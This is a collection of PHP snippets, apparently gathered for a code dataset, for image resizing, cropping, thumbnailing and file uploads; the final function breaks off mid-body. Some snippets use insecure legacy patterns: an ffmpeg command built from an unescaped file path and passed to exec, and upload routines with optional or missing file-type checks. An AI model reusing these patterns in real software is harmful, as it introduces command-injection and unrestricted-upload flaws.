"public function resize_crop_image($max_width, $max_height, $source_file, $dst_dir, $quality = 80)\n {\n $imgsize = getimagesize($source_file);\n $width = $imgsize[0];\n $height = $imgsize[1];\n $mime = $imgsize['mime'];\n\n switch ($mime) {\n case 'image/gif':\n $image_create = 'imagecreatefromgif';\n $image = 'imagegif';\n break;\n\n case 'image/png':\n $image_create = 'imagecreatefrompng';\n $image = 'imagepng';\n $quality = 7;\n break;\n\n case 'image/jpeg':\n $image_create = 'imagecreatefromjpeg';\n $image = 'imagejpeg';\n $quality = 80;\n break;\n\n default:\n return false;\n }\n\n $dst_img = imagecreatetruecolor($max_width, $max_height);\n $src_img = $image_create($source_file);\n\n $width_new = $height * $max_width / $max_height;\n $height_new = $width * $max_height / $max_width;\n //if the new width is greater than the actual width of the image, then the height is too large and the rest cut off, or vice versa\n if ($width_new > $width) {\n //cut point by height\n $h_point = (($height - $height_new) / 2);\n //copy image\n imagecopyresampled($dst_img, $src_img, 0, 0, 0, $h_point, $max_width, $max_height, $width, $height_new);\n } else {\n //cut point by width\n $w_point = (($width - $width_new) / 2);\n imagecopyresampled($dst_img, $src_img, 0, 0, $w_point, 0, $max_width, $max_height, $width_new, $height);\n }\n\n $image($dst_img, $dst_dir, $quality);\n\n if ($dst_img) {\n imagedestroy($dst_img);\n }\n if ($src_img) {\n imagedestroy($src_img);\n }\n }",
"function uploadfile($target_path, $file_name, $tmp_name, $newname, $maxsize, $allowed, $maxw=0, $maxh=0)\n{\n $upload_ok = 1;\n $size1 = number_format(filesize($tmp_name) / 1024,2);\n $filename1 = basename($file_name);\n $extension1 = strtolower(pathinfo($filename1, PATHINFO_EXTENSION));\n $error=\"\";\n if(count($allowed)>0&&!in_array($extension1, $allowed)) {\n $error = \"Error, file extension: $extension1 of file: $file_name not allowed, please try again.\";\n }\n else if($size1 > $maxsize) {\n $error=\"Error, file too big (\".($size1-$maxsize).\"k over the limit) please try again.\";\n }\n else if(strlen($filename1) < 1) {\n $error=\"Error, please choose a file to upload\";\n }\n\n $upload_ok = strlen($error) > 0 ? 0 : 1;\n if($upload_ok == 1)\n {\n $target_path1 = $target_path . (strlen($newname) > 1 ? $newname . \".\" . $extension1 : $filename1);\n if($file_name)\n {\n if(!is_dir($target_path))\n {\n mkdirRe($target_path);\n }\n if(move_uploaded_file($tmp_name, $target_path1))\n {\n if(($maxw > 0 || $maxh > 0) && $extension1 == \"jpg\") {\n scaleimg($target_path1, $maxw, $maxh, 1);\n }\n chmod($target_path1, 0644);\n return 'ok';\n }\n else\n {\n return \"There was an error moving the file, please try again!\";\n }\n }\n else\n {\n return \"There was an error uploading the file, please try again!\";\n }\n }\n else\n {\n return $error;\n }\n}",
"function upload_size_limit_filter($size)\n {\n }",
"function reduce_image_size($dest_folder,$image_name,$files)\n{\n //REDUCE IMAGE RESOLUTION\n if($files)\n {\n //echo 123;exit;\n $dest = $dest_folder.$image_name;\n $width = 300;\n $height = 300;\n list($width_orig, $height_orig) = getimagesize($files);\n $ratio_orig = $width_orig/$height_orig;\n if ($width/$height > $ratio_orig)\n {\n $width = $height*$ratio_orig;\n }\n else\n {\n $height = $width/$ratio_orig;\n }\n $image_p = imagecreatetruecolor($width, $height);\n $image = imagecreatefromjpeg($files);\n imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);\n imagejpeg($image_p,$dest, 100);\n ImageDestroy ($image_p);\n }\n //END OF REDUCING IMAGE RESOLUTION\n}",
"function image_resize($filename){\n\t\t$width = 1000;\n\t\t$height = 500;\n\t\t$save_file_location = $filename;\n\t\t// File type\n\t\t//header('Content-Type: image/jpg');\n\t\t$source_properties = getimagesize($filename);\n\t\t$image_type = $source_properties[2];\n\n\t\t// Get new dimensions\n\t\tlist($width_orig, $height_orig) = getimagesize($filename);\n\n\t\t$ratio_orig = $width_orig/$height_orig;\n\t\tif ($width/$height > $ratio_orig) {\n\t\t\t$width = $height*$ratio_orig;\n\t\t} else {\n\t\t\t$height = $width/$ratio_orig;\n\t\t}\n\t\t// Resampling the image \n\t\t$image_p = imagecreatetruecolor($width, $height);\n\t\tif( $image_type == IMAGETYPE_JPEG ) {\n\t\t\t$image = imagecreatefromjpeg($filename);\n\t\t}else if($image_type == IMAGETYPE_GIF){\n\t\t\t$image = imagecreatefromgif($filename);\n\t\t}else if($image_type == IMAGETYPE_PNG){\n\t\t\t$image = imagecreatefrompng($filename);\n\t\t}\n\t\t$finalIMG = imagecopyresampled($image_p, $image, 0, 0, 0, 0,\n\t\t$width, $height, $width_orig, $height_orig);\n\t\t// Display of output image\n\n\t\tif( $image_type == IMAGETYPE_JPEG ) {\n\t\t\timagejpeg($image_p, $save_file_location);\n\t\t}else if($image_type == IMAGETYPE_GIF){\n\t\t\timagegif($image_p, $save_file_location);\n\t\t}else if($image_type == IMAGETYPE_PNG){\n\t\t\t$imagepng = imagepng($image_p, $save_file_location);\n\t\t}\n\t}",
"function resize($src_file, $dest_file, $new_size, $img_meta) {\n if (!zmgGd1xTool::isSupportedType($img_meta['extension'], $src_file)) {\n return false;\n }\n \n // height/width\n $ratio = max($img_meta['width'], $img_meta['height']) / $new_size;\n $ratio = max($ratio, 1.0);\n $destWidth = (int)($img_meta['width'] / $ratio);\n $destHeight = (int)($img_meta['height'] / $ratio);\n if ($img_meta['extension'] == \"jpg\" || $img_meta['extension'] == \"jpeg\") {\n $src_img = imagecreatefromjpeg($src_file);\n } else {\n $src_img = imagecreatefrompng($src_file);\n }\n if (!$src_img) {\n return zmgToolboxPlugin::registerError($src_file, 'GD 1.x: Could not convert image.');\n }\n $dst_img = imagecreate($destWidth, $destHeight);\n imagecopyresized($dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight,\n $img_meta['width'], $img_meta['height']);\n\n if ($img_meta['extension'] == \"jpg\" || $img_meta['extension'] == \"jpeg\") {\n imagejpeg($dst_img, $dest_file, $img_meta['jpeg_qty']);\n } else {\n imagepng($dst_img, $dest_file);\n }\n\n imagedestroy($src_img);\n imagedestroy($dst_img);\n return true;\n }",
"function make_thumb($folder,$src,$dest,$thumb_width) {\n\n\t$source_image = imagecreatefromjpeg($folder.'/'.$src);\n\t$width = imagesx($source_image);\n\t$height = imagesy($source_image);\n\t\n\t$thumb_height = floor($height*($thumb_width/$width));\n\t\n\t$virtual_image = imagecreatetruecolor($thumb_width,$thumb_height);\n\t\n\timagecopyresampled($virtual_image,$source_image,0,0,0,0,$thumb_width,$thumb_height,$width,$height);\n\t\n\timagejpeg($virtual_image,$dest,100);\n\t\n}",
"function cilikke($src, $dest, $new_width) {\r\n\t$info = getimagesize($src);\r\n\t$mime = $info[\"mime\"];\r\n\tif( $mime == 'image/jpeg' ) $source_image = imagecreatefromjpeg($src);\r\n\telseif( $mime == 'image/png' ) $source_image = imagecreatefrompng($src);\r\n\t$width = imagesx($source_image);\r\n\t$height = imagesy($source_image);\r\n\t$new_height = floor($height * ($new_width / $width));\r\n\tif($new_width < $width && $new_height < $height)\r\n\t{\r\n\t\t$virtual_image = imagecreatetruecolor($new_width, $new_height);\t\r\n\t\timagecopyresampled($virtual_image, $source_image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);\r\n\t\timagejpeg($virtual_image, $dest);\r\n\t}else\r\n\t\tcopy($src, $dest);\r\n}",
"public static function setMaxSize($filesize)\n\t{\n\t\tself::$size_limit = $filesize;\n\t}",
"public function maxFileSize($size)\n\t{\n\t\t$this->handle->file_max_size = (int)$size;\n\t}",
"function resizeImage($filename, $max_width, $max_height)\n{\n list($orig_width, $orig_height) = getimagesize($filename);\n\n $width = $orig_width;\n $height = $orig_height;\n\n # taller\n if ($max_height != 0 && $max_width != 0)\n {\n\t if ($height > $max_height) {\n\t\t $width = ($max_height / $height) * $width;\n\t\t $height = $max_height;\n\t }\n\n\t # wider\n\t if ($width > $max_width) {\n\t\t $height = ($max_width / $width) * $height;\n\t\t $width = $max_width;\n\t }\n }\n\n $image_p = imagecreatetruecolor($width, $height);\n\n $image = imagecreatefromjpeg($filename);\n\n imagecopyresampled($image_p, $image, 0, 0, 0, 0,\n $width, $height, $orig_width, $orig_height);\n\n return $image_p;\n}",
"function make_thumb($src,$dest) {\n try {\n // Create a new SimpleImage object\n $image = new \\claviska\\SimpleImage();\n\n // load file\n $image->fromFile($src);\n // img getMimeType\n $mime = $image->getMimeType();\n $w = $image->getWidth();\n\n // Manipulate it\n // $image->bestFit(200, 300) // proportionally resize to fit inside a 250x400 box\n // $image->flip('x') // flip horizontally\n // $image->colorize('DarkGreen') // tint dark green\n // $image->sharpen()\n // $image->border('darkgray', 1) // add a 2 pixel black border\n // $image->overlay('flag.png', 'bottom right') // add a watermark image\n // $image->toScreen(); // output to the screen\n if ($w > 1000) {\n $image->autoOrient(); // adjust orientation based on exif data\n // $image->resize($resizeWidth); // 1365\n // $image->resize(1024); // 1365\n $image->resize(800); // 1067\n }\n $image->toFile($dest,$mime,$outIMGquality);\n // echo \"mime type: \".$mime;\n } catch(Exception $err) {\n // Handle errors\n echo $err->getMessage();\n }\n}",
"function saveThumbnailImage($filename, $destinationFile){\n\t\t $this->resizeSaveImage($filename, $destinationFile, self::thumbWidth);\n\t }",
"public function getResize($size, $dir, $filename) {\t\n\t\t$parts = explode(\".\", $filename);\n\t\tif(count($parts > 1)) {\n\t\t\t$filename = $parts[0];\n\t\t\t$extension = $parts[1]; \n\t\t}\t\n\n\t\tif($size === \"original\") {\n\t\t\t$size = $dir . $filename .\".\". $extension;\n\t\t\t\n\t\t\t$this->load($dir . $filename .\".\". $extension);\n\n\t\t\tif($this->getWidth() < $this->getHeight()) {\n\t\t\t\t$this->resizeToHeight(_minOriginal);\n\t\t\t} else {\n\t\t\t\t$this->resizeToWidth(_maxOriginal);\n\t\t\t}\n\t\t} elseif($size === \"large\") {\n\t\t\t$size = $dir . $filename .\"_l.\". $extension;\n\t\t\t\n\t\t\t$this->load($dir . $filename .\".\". $extension);\n\n\t\t\tif($this->getWidth() < $this->getHeight()) {\n\t\t\t\t$this->resizeToHeight(_minLarge);\n\t\t\t} else {\n\t\t\t\t$this->resizeToWidth(_maxLarge);\n\t\t\t}\n\t\t} elseif($size === \"medium\") {\t\t\t\n\t\t\t$size = $dir . $filename .\"_m.\". $extension;\n\t\t\t\n\t\t\t$this->load($dir . $filename .\".\". $extension);\n\t\t\t\n\t\t\t$this->resize(_maxMedium, _minMedium);\n\t\t\t\n\t\t\t/*\n\t\t\tif($this->getWidth() < $this->getHeight()) {\n\t\t\t\t$this->resizeToHeight(_minMedium);\n\t\t\t} else {\n\t\t\t\t$this->resizeToWidth(_maxMedium);\n\t\t\t}\n\t\t\t*/\n\t\t} elseif($size === \"small\") {\n\t\t\t$size = $dir . $filename .\"_s.\". $extension;\n\t\t\t\n\t\t\t$this->load($dir . $filename .\".\". $extension);\n\t\t\t\n\t\t\t$this->resize(_maxSmall, _minSmall);\n\t\t\t\n\t\t\t/*\n\t\t\tif($this->getWidth() < $this->getHeight()) {\n\t\t\t\t$this->resizeToHeight(_minSmall);\n\t\t\t} else {\n\t\t\t\t$this->resizeToWidth(_maxSmall);\n\t\t\t}\n\t\t\t*/\n\t\t} elseif($size === \"miniature\") {\n\t\t\t$size = $dir . $filename . \"_min.\". $extension;\n\t\t\t\n\t\t\t$this->load($dir . $filename .\".\". $extension);\n\t\t\t\n\t\t\tif($this->getWidth() < $this->getHeight()) {\n\t\t\t\t$this->resizeToHeight(_minMini);\n\t\t\t} else {\n\t\t\t\t$this->resizeToWidth(_maxMini);\n\t\t\t}\n\t\t}\n\n\t\t$this->save($size);\n\t\t\n\t\treturn $size;\n \t}",
"public static function setSize($path,$target_width=150,$target_height=100) {\n\t\t$img = imagecreatefromjpeg($path);\n\t\tif (!$img) {\n\t\t\techo \"ERROR:could not create image handle \".$path;\n\t\t\texit(0);\n\t\t}\n\t\t$width = imageSX($img);\n\t\t$height = imageSY($img);\n\t\t$size = getimagesize($path);\n\t\tif (!$width || !$height) {\n\t\t\techo \"ERROR:Invalid width or height\";\n\t\t\texit(0);\n\t\t}\n\t\tif ($width > $target_width) {\n\t\t\t$width_ratio = $target_width/$width;\n\t\t}\n\t\telse {\n\t\t\t$width_ratio = 1;\t\n\t\t}\n\t\tif ($height > $target_height) {\n\t\t\t$height_ratio = $target_height/$height;\n\t\t}\n\t\telse {\n\t\t\t$height_ratio = 1;\t\n\t\t}\n\t\tif ($width_ratio==1 && $height_ratio==1) return $img;\n\t\t$ratio = min($width_ratio,$height_ratio);\n\t\t$new_height = $ratio * $height;\n\t\t$new_width = $ratio * $width;\n\t\t//file_put_contents(\"1.log\",\"$new_height = $ratio m $height; $new_width = $ratio m $width;\\n\",FILE_APPEND);\n\t\t$new_img = ImageCreateTrueColor($new_width, $new_height);\n\t\tif (!@imagecopyresampled($new_img, $img, 0, 0, 0, 0, $new_width, $new_height, $width, $height)) {\n\t\t\techo \"ERROR:Could not resize image\";\n\t\t\texit(0);\n\t\t}\t\t\n\t\treturn $new_img;\n\t}",
"function resizeImage($filename, $destinationFile, $max_width, $max_height) {\n\t\tif (!file_exists($filename)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (!preg_match('/\\.jpg$/i', $filename)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tlist($orig_width, $orig_height) = @getimagesize($filename);\n\t\tif (!$orig_width || !$orig_height) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$width = $orig_width;\n\t\t$height = $orig_height;\n\n\t\t# taller\n\t\tif ($height > $max_height) {\n\t\t\t$width = ($max_height / $height) * $width;\n\t\t\t$height = $max_height;\n\t\t}\n\n\t\t# wider\n\t\tif ($width > $max_width) {\n\t\t\t$height = ($max_width / $width) * $height;\n\t\t\t$width = $max_width;\n\t\t}\n\n\t\t$image_p = imagecreatetruecolor($width, $height);\n\n\t\t$image = imagecreatefromjpeg($filename);\n\n\t\timagecopyresampled($image_p, $image, 0, 0, 0, 0, \n\t\t\t\t\t\t\t\t\t\t $width, $height, $orig_width, $orig_height);\n\n\t\tif (!is_writable(dirname($destinationFile))) {\n\t\t\treturn false;\n\t\t} else {\n\t\t\ttouch($destinationFile);\n\t\t}\n\t\t\n\t\treturn imagejpeg($image_p, $destinationFile);\n\t}",
"function imagethumb( $image_src , $image_dest = NULL , $max_size = 500, $expand = FALSE, $square = FALSE )\n{\n\tif( !file_exists($image_src) ) return FALSE;\n\n\t// Récupère les infos de l'image\n\t$fileinfo = getimagesize($image_src);\n\n\techo \"file infos :\".$fileinfo[0].\"---\".$fileinfo[1];\n\t\n\tif( !$fileinfo ) return FALSE;\n\n\t$width = $fileinfo[0];\n\t$height = $fileinfo[1];\n\n\n\t$type_mime = $fileinfo['mime'];\n\n\n\t$type = str_replace('image/', '', $type_mime);\n\n\t//echo \"\\ntype_mime --> \".$type;\n\n\tif( !$expand && max($width, $height)<=$max_size && (!$square || ($square && $width==$height) ) )\n\t{\n\t\t// L'image est plus petite que max_size\n\t\tif($image_dest)\n\t\t{\n\t\t\treturn copy($image_src, $image_dest);\n\t\t}\n\t\telse\n\t\t{\n\t\t\theader('Content-Type: '. $type_mime);\n\t\t\treturn (boolean) readfile($image_src);\n\t\t}\n\t}\n\n\t// Calcule les nouvelles dimensions\n\t$ratio = $width / $height;\n\n\tif( $square )\n\t{\n\t\t$new_width = $new_height = $max_size;\n\n\t\tif( $ratio > 1 )\n\t\t{\n\t\t\t// Paysage\n\t\t\t$src_y = 0;\n\t\t\t$src_x = round( ($width - $height) / 2 );\n\n\t\t\t$src_w = $src_h = $height;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Portrait\n\t\t\t$src_x = 0;\n\t\t\t$src_y = round( ($height - $width) / 2 );\n\n\t\t\t$src_w = $src_h = $width;\n\t\t}\n\t}\n\telse\n\t{\n\t\t$src_x = $src_y = 0;\n\t\t$src_w = $width;\n\t\t$src_h = $height;\n\n\t\tif ( $ratio > 1 )\n\t\t{\n\t\t\t// Paysage\n\t\t\t$new_width = $max_size;\n\t\t\t$new_height = round( $max_size / $ratio );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Portrait\n\t\t\t$new_height = $max_size;\n\t\t\t$new_width = round( $max_size * $ratio );\n\t\t}\n\t}\n\n\t// Ouvre l'image originale\n\t$func = 'imagecreatefrom' . $type;\n\tif( !function_exists($func) ) return FALSE;\n\n\t$image_src = $func($image_src);\n\t$new_image = imagecreatetruecolor($new_width,$new_height);\n\n\t// Gestion de la transparence pour les png\n\tif( $type=='png' )\n\t{\n\t\timagealphablending($new_image,false);\n\t\tif( function_exists('imagesavealpha') )\n\t\t\timagesavealpha($new_image,true);\n\t}\n\n\t// Gestion de la transparence pour les gif\n\telseif( $type=='gif' && imagecolortransparent($image_src)>=0 )\n\t{\n\t\t$transparent_index = imagecolortransparent($image_src);\n\t\t$transparent_color = imagecolorsforindex($image_src, $transparent_index);\n\t\t$transparent_index = imagecolorallocate($new_image, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue']);\n\t\timagefill($new_image, 0, 0, $transparent_index);\n\t\timagecolortransparent($new_image, $transparent_index);\n\t}\n\n\t// Redimensionnement de l'image\n\timagecopyresampled(\n\t\t$new_image, $image_src,\n\t\t0, 0, $src_x, $src_y,\n\t\t$new_width, $new_height, $src_w, $src_h\n\t);\n\n\t// Enregistrement de l'image\n\t$func = 'image'. $type;\n\tif($image_dest)\n\t{\n\t\t$func($new_image, $image_dest);\n\t}\n\telse\n\t{\n\t\theader('Content-Type: '. $type_mime);\n\t\t$func($new_image);\n\t}\n\n\t// Libération de la mémoire\n\timagedestroy($new_image); \n\n\treturn TRUE;\n}",
"private function moveAndCreatePhoto(\n UploadedFile $file,\n $size = ['l' => [1000, 1000], 's' => [300, 300]]\n ) {\n $extension = '.' . $file->extension();\n\n $name = token();\n $filename = $name . $extension;\n\n $path = upload_path_images();\n $imageTmp = Image::make($file->getRealPath());\n\n if (!$imageTmp) {\n return false;\n }\n\n $largeSize = $size['l'];\n $thumbSize = $size['s'];\n\n // save original\n $imageTmp->save($path . $name . ImageThumb::$originalAppend . $extension);\n\n // if width is the biggest - resize on max width\n if ($imageTmp->width() > $imageTmp->height()) {\n // resize the image to the large height and constrain aspect ratio (auto width)\n $imageTmp->resize(null, $largeSize[1], function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $filename);\n\n // resize the image to the thumb height and constrain aspect ratio (auto width)\n $imageTmp->resize(null, $thumbSize[1], function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $name . ImageThumb::$thumbAppend . $extension);\n }\n else {\n // resize the image to the large width and constrain aspect ratio (auto height)\n $imageTmp->resize($largeSize[0], null, function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $filename);\n\n // resize the image to the thumb width and constrain aspect ratio (auto width)\n $imageTmp->resize($thumbSize[0], null, function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $name . ImageThumb::$thumbAppend . $extension);\n }\n\n return $filename;\n }",
"public static function resize_Crop_Image($max_width, $max_height, $source_file, $dst_dir, $quality = 80) {\n $imgsize = @getimagesize($source_file);\n $width = $imgsize[0];\n $height = $imgsize[1];\n $mime = $imgsize['mime'];\n switch ($mime) {\n case 'image/gif':\n $image_create = \"imagecreatefromgif\";\n $image = \"imagegif\";\n break;\n case 'image/png':\n $image_create = \"imagecreatefrompng\";\n $image = \"imagepng\";\n break;\n case 'image/jpeg':\n $image_create = \"imagecreatefromjpeg\";\n $image = \"imagejpeg\";\n break;\n default:\n return false;\n break;\n }\n $dst_img = @imagecreatetruecolor($max_width, $max_height);\n $src_img = $image_create($source_file);\n $width_new = $height * $max_width / $max_height;\n $height_new = $width * $max_height / $max_width;\n if ($width_new > $width) {\n $h_point = (($height - $height_new) / 2);\n @imagecopyresampled($dst_img, $src_img, 0, 0, 0, $h_point, $max_width, $max_height, $width, $height_new);\n } else {\n $w_point = (($width - $width_new) / 2);\n @imagecopyresampled($dst_img, $src_img, 0, 0, $w_point, 0, $max_width, $max_height, $width_new, $height);\n }\n @imagejpeg($dst_img, $dst_dir, $quality);\n if ($dst_img) {\n @imagedestroy($dst_img);\n }\n if ($src_img) {\n @imagedestroy($src_img);\n }\n }",
"function resize_image($src, $width, $height){\n // initializing\n $save_path = Wordless::theme_temp_path();\n $img_filename = Wordless::join_paths($save_path, md5($width . 'x' . $height . '_' . basename($src)) . '.jpg');\n\n // if file doesn't exists, create it\n if (!file_exists($img_filename)) {\n $to_scale = 0;\n $to_crop = 0;\n\n // Get orig dimensions\n list ($width_orig, $height_orig, $type_orig) = getimagesize($src);\n\n // get original image ... to improve!\n switch($type_orig){\n case IMAGETYPE_JPEG: $image = imagecreatefromjpeg($src);\n break;\n case IMAGETYPE_PNG: $image = imagecreatefrompng($src);\n break;\n case IMAGETYPE_GIF: $image = imagecreatefromgif($src);\n break;\n default:\n return;\n }\n\n // which is the new smallest?\n if ($width < $height)\n $min_dim = $width;\n else\n $min_dim = $height;\n\n // which is the orig smallest?\n if ($width_orig < $height_orig)\n $min_orig = $width_orig;\n else\n $min_orig = $height_orig;\n\n // image of the right size\n if ($height_orig == $height && $width_orig == $width) ; // nothing to do\n // if something smaller => scale\n else if ($width_orig < $width) {\n $to_scale = 1;\n $ratio = $width / $width_orig;\n }\n else if ($height_orig < $height) {\n $to_scale = 1;\n $ratio = $height / $height_orig;\n }\n // if both bigger => scale\n else if ($height_orig > $height && $width_orig > $width) {\n $to_scale = 1;\n $ratio_dest = $width / $height;\n $ratio_orig = $width_orig / $height_orig;\n if ($ratio_dest > $ratio_orig)\n $ratio = $width / $width_orig;\n else\n $ratio = $height / $height_orig;\n }\n // one equal one bigger\n else if ( ($width == $width_orig && $height_orig > $height) || ($height == $height_orig && $width_orig > $width) )\n $to_crop = 1;\n // some problem...\n else\n echo \"ALARM\";\n\n // we need to zoom to get the right size\n if ($to_scale == 1) {\n $new_width = $width_orig * $ratio;\n $new_height = $height_orig * $ratio;\n $image_scaled = imagecreatetruecolor($new_width, $new_height);\n // scaling!\n imagecopyresampled($image_scaled, $image, 0, 0, 0, 0, $new_width, $new_height, $width_orig, $height_orig);\n $image = $image_scaled;\n\n if($new_width > $width || $new_height > $height)\n $to_crop = 1;\n }\n else {\n $new_width = $width_orig;\n $new_height = $height_orig;\n }\n\n // we need to crop the image\n if ($to_crop == 1) {\n $image_cropped = imagecreatetruecolor($width, $height);\n\n // find margins for images\n $margin_x = ($new_width - $width) / 2;\n $margin_y = ($new_height - $height) / 2;\n\n // cropping!\n imagecopy($image_cropped, $image, 0, 0, $margin_x, $margin_y, $width, $height);\n $image = $image_cropped;\n }\n\n // Save image\n imagejpeg($image, $img_filename, 95);\n }\n\n // Return image URL\n return Wordless::join_paths(Wordless::theme_temp_path(), basename($img_filename));\n }",
"function upload_passport($path, $ext, $sn) {\n $img_url = 'passport' . $sn . '-' . date('mdYHis.') . $ext;\n move_uploaded_file($path, \"temp_img/\" . $img_url);\n $resizeObj = new resize(\"temp_img/\" . $img_url);\n $resizeObj->resizeImage(280, 350, 'crop');\n $resizeObj->saveImage(\"pics/\" . $img_url, 100);\n unlink(\"temp_img/\" . $img_url);\n return $img_url;\n}",
"protected static function GDResize($in_file, $out_file, $format, $switch)\n {\n $source = self::imageCreateFrom($in_file);\n\n $src_width = imagesx($source);\n $src_height = imagesy($source);\n\n $f = explode('x', $format);\n if ($src_width > $src_height) {\n $new_width = $f[0];\n $new_height = $f[1];\n } else {\n $new_width = $f[1];\n $new_height = $f[0];\n }\n\n $destination = imagecreatetruecolor($new_width, $new_height);\n\n $new_dwh = $new_width / $new_height; // stosunek dł/wys.\n $src_dwh = $src_width / $src_height;\n\n if ($src_dwh == $new_dwh)\n { // proporcjonalne\n $fin_x = 0;\n $fin_y = 0;\n $fin_width = $src_width;\n $fin_height = $src_height;\n } elseif ($src_dwh > $new_dwh) { // src bardziej horyzontalny, new bardziej wertykalny\n $fin_height = $src_height;\n $fin_width = ceil($src_height * $new_width / $new_height);\n $fin_x = ($src_width - $fin_width) / 2;\n $fin_y = 0;\n } elseif ($src_dwh < $new_dwh) { // src bardziej wertykalny, new bardziej horyzontalny\n $fin_height = ceil($src_width * $new_height / $new_width);\n $fin_width = $src_width;\n $fin_x = 0;\n $fin_y = ($src_height - $fin_height) / 2;\n }\n\n imagecopyresampled(\n $destination, $source,\n 0, 0, // odkąd smarować na wyniku\n $fin_x, $fin_y, // skąd pobierać źródło\n $new_width, $new_height,\n $fin_width, $fin_height\n );\n\n self::imagePut($destination, $out_file);\n\n imagedestroy($source);\n }",
"function resize_crop_image($max_width, $max_height, $source_file, $dst_dir, $quality=80){\r\n $imgsize = getimagesize($source_file);\r\n $width = $imgsize[0];\r\n $height = $imgsize[1];\r\n $mime = $imgsize['mime'];\r\n\r\n switch($mime){\r\n case 'image/gif':\r\n $image_create = \"imagecreatefromgif\";\r\n $image = \"imagegif\";\r\n break;\r\n\r\n case 'image/png':\r\n $image_create = \"imagecreatefrompng\";\r\n $image = \"imagepng\";\r\n //$quality = 7;\r\n break;\r\n\r\n case 'image/jpeg':\r\n $image_create = \"imagecreatefromjpeg\";\r\n $image = \"imagejpeg\";\r\n break;\r\n\r\n default:\r\n return false;\r\n break;\r\n }\r\n\r\n $dst_img = imagecreatetruecolor($max_width, $max_height);\r\n $src_img = $image_create($source_file);\r\n\r\n $width_new = $height * $max_width / $max_height;\r\n $height_new = $width * $max_height / $max_width;\r\n //if the new width is greater than the actual width of the image, then the height is too large and the rest cut off, or vice versa\r\n if($width_new > $width){\r\n //cut point by height\r\n $h_point = (($height - $height_new) / 2);\r\n //copy image\r\n imagecopyresampled($dst_img, $src_img, 0, 0, 0, $h_point, $max_width, $max_height, $width, $height_new);\r\n }else{\r\n //cut point by width\r\n $w_point = (($width - $width_new) / 2);\r\n imagecopyresampled($dst_img, $src_img, 0, 0, $w_point, 0, $max_width, $max_height, $width_new, $height);\r\n }\r\n\r\n //$image($dst_img, $dst_dir, $quality);\r\n imagejpeg($dst_img, $dst_dir, $quality);\r\n\r\n if($dst_img)imagedestroy($dst_img);\r\n if($src_img)imagedestroy($src_img);\r\n}",
"public function setMaxFileSize($value) {\n $this->_max_file_size = (int)$value;\n return $this;\n }",
"function createMovieThumb($file, $size, $filename) {\r\n global $mosConfig_absolute_path, $zoom;\r\n if ($this->_FFMPEG_path == 'auto') {\r\n $this->_FFMPEG_path = '';\r\n } else {\r\n if (!empty($this->_FFMPEG_path) && !$zoom->_CONFIG['override_FFMPEG']) {\r\n if (!$zoom->platform->is_dir($this->_FFMPEG_path)) {\r\n echo (\"<div align=\\\"center\\\"><font color=\\\"red\\\">Error: your FFmpeg path is not correct! Please (re)specify it in the Admin-system under 'Settings'</font></div>\");\r\n return false;\r\n }\r\n }\r\n }\r\n $desfile = ereg_replace(\"(.*)\\.([^\\.]*)$\", \"\\\\1\", $filename).\".jpg\";\r\n if ($tempdir = $zoom->createTempDir()) {\r\n $gen_path = $mosConfig_absolute_path.\"/\".$tempdir;\r\n $cmd = $this->_FFMPEG_path.\"ffmpeg -an -y -t 0:0:0.001 -i \\\"$file\\\" -f mjpeg \\\"$gen_path/file.jpg\\\"\";\r\n $output = $retval = null;\r\n exec($cmd, $output, $retval);\r\n if (!$retval) {\r\n if ($zoom->platform->file_exists($gen_path.\"/file.jpg\")) {\r\n $the_thumb = $gen_path.\"/file.jpg\";\r\n $imgobj = new image(0);\r\n $imgobj->_filename = $desfile;\r\n $imgobj->_type = \"jpg\";\r\n $imgobj->_size = $zoom->platform->getimagesize($the_thumb);\r\n $target = $mosConfig_absolute_path.\"/\".$zoom->_CONFIG['imagepath'].$zoom->_gallery->getDir().\"/thumbs/\".$desfile;\r\n if (!$this->resizeImage($the_thumb, $target, $size, $imgobj)) {\r\n return false;\r\n } else {\r\n @$zoom->deldir($gen_path);\r\n return true;\r\n }\r\n } else {\r\n return false;\r\n }\r\n } else {\r\n return false;\r\n }\r\n } else {\r\n return false;\r\n }\r\n }",
"function imageresize($img,$target=\"\",$width=0,$height=0,$percent=0)\n{\n if (strpos($img,\".jpg\") !== false or strpos($img,\".jpeg\") !== false){\n\t $image = ImageCreateFromJpeg($img);\n\t $extension = \".jpg\";\n } elseif (strpos($img,\".png\") !== false) {\n\t $image = ImageCreateFromPng($img);\n\t $extension = \".png\";\n } elseif (strpos($img,\".gif\") !== false) {\n\t $image = ImageCreateFromGif($img);\n\t $extension = \".gif\";\n }elseif(getfiletype($img)=='bmp'){\n\t\t$image = ImageCreateFromwbmp($img);\n\t\t$extension = '.bmp';\n }\n\n $size = getimagesize ($img);\n\n // calculate missing values\n if ($width and !$height) {\n\t $height = ($size[1] / $size[0]) * $width;\n } elseif (!$width and $height) {\n\t $width = ($size[0] / $size[1]) * $height;\n } elseif ($percent) {\n\t $width = $size[0] / 100 * $percent;\n\t $height = $size[1] / 100 * $percent;\n } elseif (!$width and !$height and !$percent) {\n\t $width = 100; // here you can enter a standard value for actions where no arguments are given\n\t $height = ($size[1] / $size[0]) * $width;\n }\n\n $thumb = imagecreatetruecolor ($width, $height);\n\n if (function_exists(\"imageCopyResampled\"))\n {\n\t if (!@ImageCopyResampled($thumb, $image, 0, 0, 0, 0, $width, $height, $size[0], $size[1])) {\n\t\t ImageCopyResized($thumb, $image, 0, 0, 0, 0, $width, $height, $size[0], $size[1]);\n\t }\n\t} else {\n\t ImageCopyResized($thumb, $image, 0, 0, 0, 0, $width, $height, $size[0], $size[1]);\n\t}\n\n //ImageCopyResampleBicubic ($thumb, $image, 0, 0, 0, 0, $width, $height, $size[0], $size[1]);\n\n if (!$target) {\n\t $target = \"temp\".$extension;\n }\n\n $return = true;\n\n switch ($extension) {\n\t case \".jpeg\":\n\t case \".jpg\": {\n\t\t 